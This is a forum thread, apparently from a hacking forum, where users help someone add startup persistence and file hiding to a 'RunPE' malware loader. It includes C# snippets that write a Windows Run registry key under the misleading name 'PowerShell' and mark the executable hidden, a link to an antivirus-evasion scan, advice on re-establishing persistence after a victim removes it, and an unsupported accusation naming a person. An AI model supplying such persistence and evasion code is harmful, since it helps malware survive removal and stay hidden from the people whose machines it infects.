Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

I'm trying to add startup to my runPE

When I am trying to add startup to my RunPE and make the file attributes hidden it doesn't work... Any help? Or where/how should I declare it to take this effect?

Code
public struct AddToStartup
       {

           public void Startup()
           {
               RegistryKey Key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
               Key.SetValue("PowerShell", c);
           }
           public void HideFile()
           {
               FileInfo Info = new FileInfo(Application.ExecutablePath);
               Info.Attributes = FileAttributes.Hidden;

           }

I also have a result of my scan result with basic obfuscation and was curious if I can have more help.
https://antiscan.me/scan/new/result?id=O4mSeqkuMdpf
You can have a look at my source I just released : https://hackforums.net/showthread.php?tid=6064508
[Image: 6xBycLk.gif]


Website: nomorehome.work
(Apr 9, 2020 01:39 AM)VisualSoft Wrote:  You can have a look at my source I just released : https://hackforums.net/showthread.php?tid=6064508

I was actually trying to look at this source but couldn't get the whole source lol! It looks very nice with anther encryption and the startup.
using Microsoft.Win32;

RegistryKey hwApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);// change to LocalMachine if you want to run it for all users
string hwAppPath = Application.ExecutablePath.ToString(); // You can set any exe's full path here.
hwApp.SetValue("HelloWorld", hwAppPath);
Update: I got it to add to startup with your help and some looking over from other peoples code, I have it on the local machine, it shows up in the task manager startup and can be enabled, next ill try and hide the file with FileInfo Info = new FileInfo(Application.ExecutablePath) Info.Attributes = FileAttributes.Hidden;
(Apr 12, 2020 09:30 PM)ArcticSlay Wrote:  Update: I got it to add to startup with your help and some looking over from other peoples code, I have it on the local machine, it shows up in the task manager startup and can be enabled, next ill try and hide the file with FileInfo Info = new FileInfo(Application.ExecutablePath) Info.Attributes = FileAttributes.Hidden;

Are you trying to hide the file itself or the file's startup entry?
(Oct 22, 2020 09:08 PM)maldev009 Wrote:  snyke cannot be trusted. snyke? more like snake. and that snakes name is john armada revesz.
(Apr 12, 2020 11:07 PM)Obistone Wrote:  Are you trying to hide the file itself or the file's startup entry?

The file itself/startup, I was taking it through trying to add a public class then calling to it but still no update, it runs on startup but can be removed by the user through task manager as they can see it in the processes.
(Apr 13, 2020 12:31 AM)ArcticSlay Wrote:  The file itself/startup, I was taking it through trying to add a public class then calling to it but still no update, it runs on startup but can be removed by the user through task manager as they can see it in the processes.

You could check either your file has still persistence. If not.. add it again.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by PaskowskyOct 15, 2019 01:28 AM 0 230 Oct 15, 2019 01:28 AM
Last Post: Paskowsky
[Shell] by f4keg0dSep 13, 2019 05:35 AM 2 235 Sep 13, 2019 05:35 AM
Last Post: f4keg0d
[.NET] by Alx0Dec 15, 2018 09:33 AM 2 214 Dec 15, 2018 09:33 AM
Last Post: Alx0